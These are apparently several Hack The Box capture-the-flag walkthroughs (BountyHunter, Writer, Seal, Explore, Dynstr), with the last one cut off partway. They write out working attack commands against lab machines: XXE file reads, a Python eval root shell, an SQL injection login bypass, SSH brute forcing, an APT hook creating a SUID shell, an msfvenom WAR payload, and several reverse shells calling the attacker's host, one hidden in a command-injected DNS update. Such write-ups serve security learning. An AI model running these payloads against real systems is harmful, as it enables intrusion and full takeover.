Hack The Box: BountyHunter

Prelude

BountyHunter is an easy machine from HackTheBox, developed by ejedev. This was a pretty straightforward machine, but with some twists.

The initial foothold was about exploiting an XXE (XML External Entity ) Injection vulnerability to dump the database configuration PHP file. This was a pretty straight forward step, but PHP files and JS files couldn’t be included using this method. So, I had to use a php wrapper to encode and export the database configuration file. After that, we can login via SSH using the password found in the exported db configuration file.

The privilege escalation part was about understanding the functionality of a python script, which can be run as root and exploiting the eval function in it.

Let’s begin the exploitation.

Exploitation

I began the process of exploitation via an Nmap scan.

nmap -sCV -v -oN tcp 10.10.11.100

I believe this is the first machine I saw, that is in the 10.10.11.x address range.

Noice.

And I got the result of the Nmap scan as follows.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I browsed to http://10.10.11.100/ and found the following webpage.

There was a link to /portal.php on the page. It lead to the following page.

Ok! 🙄

And that page lead me to a beta version of a Bounty Report system.

I filled the form and pressed submit and it showed me the following output.

The data we entered is reflected back in the webpage. I should do some further testing to confirm what kind of vulnerability this form has.

Before testing the form further, I ran gobuster to check if there’s some other leads and I got the following results.

Nothing too interesting except db and portal

db.php most probably will be the database configuration file which, will output nothing if we access it directly, because of PHP processing. I confirmed this by navigating to http://10.10.11.100/db.php and it showed an empty page.

Now that gobuster is done and there’s no other leads to follow, let’s focus back to the form.

I filled the form, clicked on submit button and then inspected the request in Burp and found the following payload.

I decoded the output and found that the webpage is transferring data as XML.

Smells like XXE (XML eXternal Entity) Injection!

The Rock Smell GIFs | Tenor

XXE Injection Attack

To test XXE, I have to sent the payload exactly in the same manner.

With further inspection, I have found that the request is parsed by a javascript file  http://10.10.11.100/resources/bountylog.js.

Contents of bountylog.js

Now, we can two options to test the XXE.

Either we can send the request using Firefox/Chrome’s developer tools to send the request using javascript or we can create a quick bash script to send the request.

I’ll demonstrate both ways.

I’ve made a quick bash script, that encodes a file named test.xml and sends it to the /tracker_diRbPr00f314.php page to test XXE.

Contents of the bash script.

#!/bin/bash

base=$(cat test.xml|base64 -w 0)
curl -X POST http://10.10.11.100/tracker_diRbPr00f314.php --data-urlencode 'data='$(echo $base)'='

Contents of test.xml

<?xml  version="1.0" encoding="ISO-8859-1"?>
                <!DOCTYPE foo [
                <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
                <bugreport>
                <title>&xxe;</title>
                <cwe>test12312131</cwe>
                <cvss>tes123113t</cvss>
                <reward>t3212131est</reward>
                </bugreport>

This file uses an entity named xxe, which will fetch the contents of the file /etc/passwd. This entity is referenced in the title tag, so that the contents of the opened file will be retrieved and displayed, where the data from title is shown.

The bash script will take the contents in file test.xml, encode it to base64 line by line, adds a plus (+) sign to the end of each base64 encoded line, adds an equals sign (=) at the very end of the full payload and finally POSTs the payload to /tracker_diRbPr00f314.php page.

I am using this syntax because that was the syntax found in the request we captured earlier in BurpSuite.

Once I ran the bash script, I got the following output.

XXE is confirmed!

We can also modify the JavaScript function we found earlier in bountylog.js file to send the customized request within the browser developer tools.

The modified javascript code is as follows.

function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE foo [
		<!ELEMENT foo ANY >
		<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test12312131</cwe>
		<cvss>tes123113t</cvss>
		<reward>t3212131est</reward>
		</bugreport>`
		let data = returnSecret(btoa(xml));
  		$("#return").html(data)
  		
	}
	catch(error) {
		console.log('Error:', error);
	}
}
bountySubmit()

Pasting this output on the console window of developer tools showed me the following output.

Neat!

By reading the exported passwd file, I have found two things.

  • Only the user named development had a login shell assigned
  • The home directory of user www-data is /var/www

Now that I had XXE confirmed, the next thing I tried was to test for remote code execution using XXE.

Source: OWASP XXE Processing

But, that didn’t work.

Then I remembered about db.php. So, I tried to include the file by changing the payload from file:///etc/passwd to file:///var/www/html/db.php.

But this time, I got a weird error.

When exporting a valid file, all data will be reflected in the webpage, including the contents of the file we requested using XXE, as shown in the below image.

When I tried to export a non-existent file, the website reflected nothing as shown below.

No data is reflected

But, when I tried exporting db.php, it showed the following weird behaviour.

The contents of the file were missing but except that, all the other data were reflected succesfully.

This means that the file we requested is valid, but something prevented us from seeing it.

This is because the included file contents must be a well-formed XML fragment and must not contain any arbitrary binary data. Any XML special characters existing in the PHP file will cause an error and blocks entity inclusion. Source

Since XML special characters contains the symbols < , > , &, ' and ", the PHP/JS file inclusion will fail. Source

To circumvent this , we have to request the file in a base64 encoded form using php://filter keyword instead of the file:// keyword, so that the included content won’t have any XML special characters.

PoC:

php://filter/convert.base64-encode/resource=/var/www/html/db.php

I’ve updated the test.xml with the above payload and ran the bash script again.

And I got the file in base64 encoded form

I’ve decoded the encoded content and found the credentials.

The password was m19RoAU0hP41A1sTsq6K

We now have a password. I’ve decided to try this password against the user development to login via SSH, since that is the only user (except for root) which have a login shell assigned.

ssh development@10.10.11.100

And I got in as development!

Privilege Escalation

There was a note named contract.txt in the home directory.

Issuing sudo -l as development showed that the user can run a custom python script named ticketValidator.py as root.

Inspecting the contents of ticketValidator.py script revealed that it checks a .md file provided by the user, checks if the content matches some conditions and if they are valid, pass the contents to an eval function.

eval function in python is a dangerous function, as it can lead to arbitrary code execution.

The conditions of a valid .md file is as follows:

  • Line #1 should start with # Skytrain Inc
  • Line #2 should start with # Ticket to and a name
  • Line #3 should start with __Ticket Code:__
  • Line #4 should start with ** followed by a number n , followed by +, followed by the expression to be evaluated

The number n have the following conditions:

  • The number must have remainder 4 when divided by 7
  • The number must be greater than 100

The command injection point is at the final line of the md file, after the + symbol.

This is the PoC I came up with.

# Skytrain Inc
## Ticket to secnigma
__Ticket Code:__ 123
** 102+ __import__('os').system('/bin/bash -p')

This command uses a global import function since, eval function cannot import libraries using the normal import keyword. Source

The above command will spawn a bash shell with preserving the environment (root bash shell), when the code gets executed inside the eval function.

I then issued the following command and entered the name of my custom md file.

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

And I got a root shell!

w00t!

Postlude

And that was BountyHunters.

An easy box and a great learning opportunity in learning XXE injection and the dangerous side of python eval function.

Great work by ejedev.

Also, thanks to 0x0w1 for helping me.

Kudos!

Peace out! ✌️

Hack The Box: Writer

Prelude

Writer was an intermediate machine from Hack The Box, developed by TheCyberGeek.

This was a good learning experience and this machine’s initial foothold was a bit too realistic, by bruteforcing a user named kyle’s ssh login.

Once we are inside the machine, we can see that there are some peculiar groups that the user is part of. By looking up for directories and folders owned by this user, we can see that the user can write to Postfix smtpd’s disclaimer script. We can abuse this permission to spawn a shell as the higher privileged user named John.

With some basic enum, we will find that John is also part of a custom group and by following this group owned files/directories, we will find that John is able to write APT configuration files to /etc/apt/apt.conf.d directory. We can then abuse this privilege to spawn a root shell!

Let’s start the exploitation.

Exploitation

Starting the exploitation with the usual Nmap scan.

nmap -sCV -v -oN tcp 10.10.11.101

And got the following result.

22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                               
| ssh-hostkey:                                                                                                                                                       
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)                                                                                                       
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)                                                                                                      
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   WRITER<00>           Flags: <unique><active>
|   WRITER<03>           Flags: <unique><active>
|   WRITER<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-03T08:02:49
|_  start_date: N/A

I started the enumeration with SMB and found some inaccessible SMB shares.

smbclient -L 10.10.11.101 -U '' -N

Then I decided to direct my enumeration to port 80. I navigated to http://10.10.11.101/ and found the following web page.

The first thing I noticed was that, there were no extensions to pages. There were only directories.
That means navigating to index .php/.html didn’t not work; but navigating to / works. This is a strong indication of a python/ruby webserver.

I ran gobuster and found a directory named /administrative.

Tis login was bypassed by using the following payload as the username/password on the URL http://10.10.11.101/dashboard.

 admin@writer.htb' OR 1=1#

I have also found a way to upload files to the story edit section by spoofing the file format.

It was succesfully uploaded to http://10.10.11.101/static/img/.

But, I couldn’t find a way to execute the uploaded file.

There was also a Blind SQL Injection vulnerability in the /administrative login page.

I used the following command to exfiltrate the username and password hash of user admin from database.

sqlmap -r burp/login.req --batch --dump --dbms=mysql -T users -C email,password,username

I’ve tried to crack the hash, but I failed to crack the hash.

Since it was a blind sql vulnerability, I have decided to exfiltrate files from the server, namely /etc/apache2/apache2.conf file. However, I gave up on exfiltration due to extreeeeeemely slow response from the server. I have tried this for more than 6-7 hours and I still couldn’t download the file. 😢

So, I’ve decided to change my focus from this vector.

Moving on…

I’ve diverted my focus to port 135 and connected to the port using rpcclient.

rpcclient -L 10.10.11.101 -U '' -N

Then I’ve used enumdomusers command to find users and found a user named Kyle.

Output of queryuser command on Kyle

Since this machine had SSH, I’ve decided to perform SSH bruteforcing this user using hydra.

hydra -l 'kyle' -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.101 -t 60

And after several minutes, the password was cracked as marcoantonio.

I used this password to login to SSH as kyle.

And I got in!

Privilege Escalation #1

Once I was in as kyle, I have found that Kyle is a member of groups smbgroup and filter.

I’ve used the following command to list all directories and folders, that were owned by the group filter.

find / -group filter 2>/dev/null

The file /var/spool/disclaimer was a bash script, that uses a tool called altermime to automatically attach a disclaimer text, which is defined in a text file called disclaimer.txt.
We can define all sender email addresses for which alterMIME should add a disclaimer to in a file called disclaimer_addresses.

Read more from here.

I then checked for open ports in the machine with ss -tulnp and found that port 25 is open and listening to local connections.

I’ve also found an excellent article from Viperone’s gitbook about exploiting disclaimer script in postfix to escalate privileges. Now, we need to find the contents of disclaimer_addresses, so that we can exploit this.

The disclaimer_addresses file contained the following addresses.

Then I replaced script with the following netcat reverse shell payload.

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.45 9001 >/tmp/f' > disclaimer

Then I forwarded port 25 of writer.htb to my localport 8025 using SSH and used telnet to connect to it.

Then I send an email from root@writer.htb to kyle@writer.htb using the following payload.

helo test

MAIL FROM: root@writer.htb

RCPT TO: kyle@writer.htb

DATA

test
.

The . (dot) at the end will terminate the DATA header and the mail will be sent.

Since, the address root@writer.htb is in the disclaimer_addresses file, the SMTPd will execute the disclaimer script and we’ll get a shell back!

And I got a shell back as John!

hilarious awesome gif | WiffleGif
Awesome!

Privilege Escalation #2

Just like kyle, user John also had some unusual group membership.

John was a member of the group named management, which was found using the groups command. I then repeated what we did just before.

find / -group management 2>/dev/null

I found that the directory /etc/apt/apt.conf.d was owned by the group management. This is a special directory for the Aptitude package manager and files placed here will be loaded to apt, when apt is executed.

With a little research, I’ve found a way to get code execution by placing a malicious apt configuration file in the said directory. Source #1 Source #2

Combining these information, I’ve made a file /etc/apt/apt.conf.d/11test.conf with the following contents. This command will be executed after apt update command is finished executing. The payload will make a copy of bash binary with SUID bit set to /tmp.

APT::Update::Post-Invoke {"cp /bin/bash /tmp;chmod 4755 /tmp/bash; touch /tmp/list";};


I have executed apt changelog apt to view the changelog of apt.

I’ve used apt changelog, because the user John couldn’t execute apt update directly and executing apt changelog will bypass this and trigger an apt update and my payload will get executed after finishing the execution of apt update command..

This step was extremely finnicky for me since I had to change package names in apt changelog (I used nano and apt intermittently) repeatedly (still not sure this was necessary step or was a placebo) and my apt config file was getting automatically deleted every 1 or 2 minutes.

I’ve used these changelog commands to trigger the payload.

apt changelog apt
apt changelog nano

Gaining root in this machine was a game of repeatedly saving the config file and calling apt changelog command.

But, with some tinkering, the bash binary was copied to /tmp and I’ve used /tmp/bash -p command to spawn a root bash shell in the machine.

Postlude

And that was Writer!

This was a very finnicky box and wasn’t a pleasant experience to me at all! But, in the end, I’ve learned some new tricks.

Kudos to TheCyberGeek for this machine!

Peace out! ✌️

Hack The Box: Seal

Prelude

Seal was an intermediate box from Hack The Box, developed by MrR3boot.

This was an interesting box, but the initial foothold took me a while, since I wasn’t familiar with the Nginx path normalization ACL bypass technique. But once I found that, everything was straightforward from there on.

To gain user we have to find the SSH private key of the user luis from a backup file. Once we are root, we’ll see that luis can run ansible-playbooks as root. Then it’s just a matter of crafting a new malicious ansible playbook to be root.

Let’s start the exploitation.

Exploitation

Starting the exploitation with the usual Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.250

And got the result as follows.

PORT     STATE SERVICE    VERSION                                                                                                                                    
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                               
| ssh-hostkey:                                                                                                                                                       
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)                                                                                                       
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)                                                                                                      
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)                                                                                                    
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)                                                                                                                      
| http-methods:                                                                                                                                                      
|_  Supported Methods: OPTIONS GET HEAD POST                                                                                                                         
|_http-server-header: nginx/1.18.0 (Ubuntu)                                                                                                                          
|_http-title: Seal Market                                                                                                                                            
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK                                                     
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK                                                                

Three ports open.

I’m going with port 443.

Browsing https://10.10.10.250/ showed me the following page.

Just a random website to shop vegetable online.

I ran gobuster on the website and got the following results.

There were /manager and /admin directories.

I navigated to http://10.10.10.250/manager and found that it was forbidden.

I also tried http://10.10.10.250/admin but for some reason, it returned 404.

Then I navigated to http://10.10.10.250:8080 and found the login page of gitbucket.

There was a create account button. So, I created a new account and I got in!

There were two repositories that I could see.

Seal_market and infra.

I started to look at seal_market repo and found some interesting things.

Amongst them, the most interesting thing was that the server had Mutual Authentication setup; as mentioned in the README.md file and in an issue opened under the repository.

Contents of Readme.md

Issue mentioning the mutual authentication

TL;DR version of Mutual Authentication

Mutual authentication, also known as two-way authentication, is a security process in which entities authenticate each other before actual communication occurs. In a network environment, this requires that both the client and the server must provide digital certificates to prove their identities. In a mutual authentication process, a connection can occur only if the client and the server exchange, verify, and trust each other’s certificates.

Now that it is clear, let’s go back to exploitation.

The repository also had configuration files of nginx and Apache Tomcat.

Since the issue mentioned that the mutual authentication was setup in nginx, I decided to look at nginx‘s configuration.

And I found the following configuration.

Link to file: http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-available/default

This configuration means that if the certificate checks of mutual authentication fails, then the page will return a 403 Forbidden error; the same error we faced when we tried to browse http://10.10.10.250/manager.

I looked around and found the credentials for tomcat from the tomcat-users.xml file from an earlier commit. (Using the history button of gitbucket)

Link to file:  http://10.10.10.250:8080/root/seal_market/blob/ac210325afd2f6ae17cce84a8aa42805ce5fd010/tomcat/tomcat-users.xml

The credentials were tomcat:42MrHBf*z8{Z%

If we had access to tomcat’s manager page, then we could upload a war file and gain Remote Code Execution by it. But, since the page is forbidden using mutual authentication, we either have to find the certificate, or we have to bypass the nginx authentication process.

My first idea was to find some kind of LFI vulnerability, leak the certificate/key file and access the Tomcat manager that way.

Falling Through Hole GIFs - Get the best GIF on GIPHY

But, this wasn’t the case and I ended up wasting some hours going behind this idea. After some time, I dropped the idea of leaking it and went back to bypassing the authentication.

I googled nginx mutual authentication bypass exploit poc and found a PDF file of a presentation from black hat, presented by Orange Tsai.

It was a great research on different attacks based on Path Normalization.

In the PDF, there was a PoC on a Path Normalization bug leading to ACL bypass on Nginx (page 67).

It was a simple PoC, in which the attacker could add a semicolon (;) to the URL and Nginx would rewrite the address to a normalized version; thereby effectively bypassing the Access Controls in place.

So, I went to Poc: https://seal.htb/manager; and the manager page was accessible now!

Excited GIFs - Get the best GIF on GIPHY

Now we can upload war files and gain RCE.

So, I created a malicious war file using msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=443 -f war -o reverse.war

I then uploaded it to the Tomcat Manager and clicked Deploy.

War file deployed succesfully

Once it was deployed succesfully, I started a netcat listener and navigated to http://10.10.10.250/reverse and I got a shell back as tomcat!

Gaining shell as luis

Once I got the shell as tomcat, I looked around the machine and found an interesting directory in /opt named backups.

I looked at it and inside the backups directory, found three archives.
I extracted the first one with the following command.

gunzip -d backup-2021-07-25-15\:20\:33.gz

Which resulted in a tar archive with no extension.
So, I renamed the resulted file to a tar archive.

mv backup-2021-07-25-15\:20\:33 backup.tar

Then I extracted the tar archive using

tar -xvf backup.tar

Once the tar archive was properly extracted, I found the SSH keys of user luis inside the extracted content’s dashboard/uploads/.ssh directory.

I copied the keys to my machine and used the following command to SSH in as luis.

ssh -i id_rsa luis@10.10.10.250

And I was in!

Privilege Escalation

Once I was in as luis, I issued sudo -l and found that luis can run ansible-playbook command as root, without providing password.

A summary of Ansible and Playbooks

Ansible is an open source IT configuration management (CM) and automation platform, provided by Red Hat. It uses human-readable YAML templates so that users can program repetitive tasks to occur automatically. A playbook is a YAML file, which contains a blueprint of automation tasks so that, it can be executed with limited or no human involvement.

That means if we create a playbook with custom commands, it can be executed with root privileges.

So, I created a simple ansible playbook named test.yml, which executes a bash script named rev.sh located at ~/luis/test/.

Contents of test.yml

---
- name: test play
  hosts: localhost

  tasks:
    - name: first task
      command: /home/luis/test/rev.sh

Contents of rev.sh

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.9/9002 0>&1

After that I started a netcat listener on port 9002 in my Kali machine and executed the playbook using the following command.

sudo /usr/bin/ansible-playbook test.yml

And I got a root shell back!

w00t w00t!
amy poehler gifs Page 17 | WiffleGif

Postlude

And that was Seal!

This machine wasn’t that hard considering other HTB medium machines, but it was a great learning experience and Kudos to MrR3boot for making such an awesome box!

Peace out! ✌️

Hack The Box: Explore

Prelude

Explore is an easy box developed by bertolis. This is the first Android CTF machine from HTB and it was quite fun solving this.

The initial foothold of the machine was about exploiting a vulnerability in ES File explorer and leaking credentials. Once we have a shell in the target, we can use the adb daemon running in the target to spawn a root shell.

Let’s begin the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan. I decided to perform a full port scan as normal port scan couldn’t find much.

nmap -sCV -v -p- -oN all 10.10.10.247

And I got the result as follows.

PORT      STATE    SERVICE VERSION
2222/tcp  open     ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp  filtered freeciv
42135/tcp open     http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
42527/tcp open     unknown
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 04 Jul 2021 10:42:29 GMT
|     Content-Length: 22
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|   GetRequest:
|     HTTP/1.1 412 Precondition Failed
|     Date: Sun, 04 Jul 2021 10:42:29 GMT
|     Content-Length: 0
|   TerminalServerCookie:
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 04 Jul 2021 10:42:49 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|_    Cookie: mstshash=nmap
59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).

We can see that there are quite a lot of ports open and most of them are higher port numbers.

There’s an SSH service running at port 2222 and from the Banner grabbed from port 42135, we can see that ES File Explorer is running on the target.

Navigating to port 42135 showed nothing of interest.

So, I did a quick google search on ES File explorer vulnerabilities and found one. Source

The vulnerability is that ES File Explorer Opens an HTTP server on port 59777 and anyone on the local network can access files on the target from the device.

Since Nmap shows that the target has port 59777 open, I was almost sure that this is the intended path.

I have also found a PoC python script on github on the said vulnerability.

Exploiting ES File Explorer

Before using the python script, we can use a simple cURL PoC to check if the target is vulnerable or not.

PoC using cURL:

curl --header "Content-Type: application/json" --request POST --data '{"command":"getDeviceInfo"}' http://10.10.10.247:59777

If this command outputs a JSON data, then it means that the target is vulnerable.

I got the following output.

This indicates that the exploit I found was the right one!

So, I cloned the github repo and used the following command to list all pictures.

The PoC script have several other features, which can be found here. But, I decided to check the pictures first.

python poc.py --ip 10.10.10.247 --cmd listPics

And I got a list of file names.

One image had a file name creds.jpg. So, I decided to download the file using the following command.

python poc.py --ip 10.10.10.247 -g /storage/emulated/0/DCIM/creds.jpg

And I got the following image.

The credentials were kristi:Kr1sT!5h@Rp3xPl0r3!.

I used the credentials to login via SSH.

ssh kristi@10.10.10.247 -p 2222

And I was in as Kristi!

Privilege Escalation

Once we are in as Kristi, we can see that there are several open ports in the device from the netstat -tulnp output.

Among them, port 5555 looked interesting as it means that Android Debug Bridge Daemon is running in the target.

From the initial Nmap scan, we could see that port 5555 is open, but it was filtered.

So, I forwarded the port 5555 using SSH port forwarding -L 5555:127.0.0.1:5555.

Then and I installed ADB in my kali machine via the following command.

sudo apt install adb -y

After that, I used ADB to connect to the forwarded port 5555 using the following command.

adb connect 127.0.0.1:5555

Then, I used adb devices command to list connected devices, to check if the device is indeed connected.

It is indeed connected!

I then tried to ran adb shell to spawn a shell on the connected device.

And it spawned just a user shell. Nothing fancy.

From the ADB help menu, it listed a command called adb root, which restarts the adb daemon as root, if the device has root access.

So, I decided to try just that.

So, I issued the adb root command and issued the adb shell command again.
And it spawned a root shell!

Simple as that! w00t!

Postlude

And that was Explore!

A simple, fun and unique android machine that I enjoyed a lot solving!

Kudos to bertolis for coming up with such awesome machines!

Peace out! ✌️

Hack The Box: Dynstr

Prelude

Dynstr is an intermediate box from Hack The Box, developed by jkr. This is an excellent machine and this machine taught me new things like API fuzzing and re-taught me the basics of DNS and some cool DNS tools.

This machine required the player to fuzz a dynamic DNS update API and gain Remote Code Execution that way.

Once the initial foothold is gained, we’ll find two things. A public key from an strace output and that the SSH is only allowed from certain domains .

Once we find the means to update the desired DNS record, we can login as the user via SSH using the private key we obtained earlier. For the privilege escalation, we have to exploit the bash script that can be run as sudo.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

# Nmap 7.91 scan initiated Mon Jul 12 21:39:15 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Three ports are open.

The unusual port here is the port 53 running ISC BIND service, which is a DNS service.

I started the enumeration with port 80.

I Navigated to http://10.10.10.244/ and found the following website.

In the same webpage, there were some hostnames and a shared credential provided to use the DDNS service.

Another interesting thing is that this page mentions that they use no-ip API for dynamic DNS update.

There’s also a hostname leak from the contact us email id.

I then started a gobuster scan and found the following directories.

Pretty standard directory listing except for the /nic directory.

So, I googled for No-IP API and found the syntax for updating dynamic DNS using the No-IP API. Link

So I send a request to test if it is indeed an API running at the target, using the following command.

I used the shared credentials given in the web page.

curl http://dynadns:sndanyd@dyna.htb/nic/update

And the API responded with nochg, as mentioned in the No-IP API documentation. So, I was confident that this is the NO-IP API to dynamically update the DNS records.

I’ve also found ways to update the IP address of the hostnames provided in the website. However, I couldn’t update the IP address of the hostname dyna.htb, as it returned error.

cURL command for updating IP address of domains.

curl http://dynadns:sndanyd@dyna.htb/nic/update\?hostname\=no-ip.no-ip.htb\&myip\=10.10.10.244

This is where I was stuck initially. I thought that I had to change the IP address of some domain, listen for incoming requests intended for the domains and capture the credentials using responder or something like that. But, that wasn’t the case.

Then I thought that I had to exploit some CVE in No-IP API. So, I began googling NO-IP vulnerabilities and exploits, but with no success.

They both were rabbitholes.

Sad GIFs | Tenor

Fuzzing the API and gaining RCE

After being stuck for quite some time and getting some nudge from peers, I started to fuzz the parameters of the requests towards the API and found that the API behaves differently when some special characters are passed to the hostname parameter.

ffuf -c  -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://dynadns:sndanyd@dyna.htb/nic/update\?hostname=\FUZZtest.dnsalias.htb\&myip=10.10.14.38 -fs 22

These are bash special characters. So, I decided to encode the `id` command with URL encode and pass it with the hostname parameter.

%60%69%64%60

Final PoC:

curl http://dynadns:sndanyd@dyna.htb/nic/update\hostname\=\"%60%69%64%60id.dnsalias.htb\&myip\=10.10.14.38

And got code execution!

Then I tried to upgrade this RCE to a reverse shell. But, there was a slight problem.

Since this is a GET request, I can’t specify the IP address as dots (.) in the reverse shell payload as it would be a bad character and it will break my payload.

So, I decided to base64 encode my payload before URL encoding it to safely pass my payload to the target.

Payload I used:

echo -n cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjM4IDkwMDEgPi90bXAvZg==|base64 -d |bash

I then encoded this payload with URL encoding and send the URL encoded payload along with the hostname parameter to the API.

TL;DR: Reverse Shell payload -> Base64 encoded -> bash one liner to execute base64 encoded payload -> URL encoded -> Hostname parameter

Mind Blowing GIFs - Get the best GIF on GIPHY
Command-ception!

Full PoC I used to gain reverse shell:

GET /nic/update?hostname="%60%65%63%68%6f%20%2d%6e%20%63%6d%30%67%4c%33%52%74%63%43%39%6d%4f%32%31%72%5a%6d%6c%6d%62%79%41%76%64%47%31%77%4c%32%59%37%59%32%46%30%49%43%39%30%62%58%41%76%5a%6e%78%7a%61%43%41%74%61%53%41%79%50%69%59%78%66%47%35%6a%49%44%45%77%4c%6a%45%77%4c%6a%45%30%4c%6a%4d%34%49%44%6b%77%4d%44%45%67%50%69%39%30%62%58%41%76%5a%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%7c%62%61%73%68%60test.dnsalias%2ehtb&myip=10.10.14.38 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: curl/7.74.0
Accept: */*
Connection: close

And I got a shell back as www-data !

Privilege Escalation to User

Once we are in as www-data we can see that the home directory of user bindmgr is publicly accessible and we can see some interesting things in the directory.

The first thing that I found interesting is that we can read the /home/bindmgr/.ssh/authorized_keys file and in the file, it says that connection is only allowed from subdomains of infra.dyna.htb.

So, first we have to update the DNS record to something.infra.dyna.htb to our IP address to gain access to SSH.

Another interesting thing is inside a support directory inside bindmgr‘s home directory, which contains an strace output, where the SSH private key of bindmgr is present.

So, I saved the private key file into my machine.

Now I needed to find how to update the hostname to my IP address.

Finding the TSIG key

I found the PHP script used to update /var/www/html/nic/update and it showed that the DNS record was updated using nsupdate command; a utility used to update DNS records dynamically.

Code block in update, that updates the DNS record+

In the code block, we can see that a file named ddns.key located at /etc/bind is passed as a parameter to nslookup along with the DNS record updates.

This is a TSIG (Transaction SIGnature) key, which is a cryptographic secret that authenticates DNS update requests.

The keys are defined in Bind’s configuration, which is located at /etc/bind/named.conf.

Opening /etc/bind/named.conf showed the following contents.

So, I looked at /etc/bind/named.conf.local and found the following information.

Contents of named.conf.local

In the /etc/bind/named.conf.local file, we can see that to update the hostnames under the zone dyna.htb, we need the aptly named TSIG key infra.key.

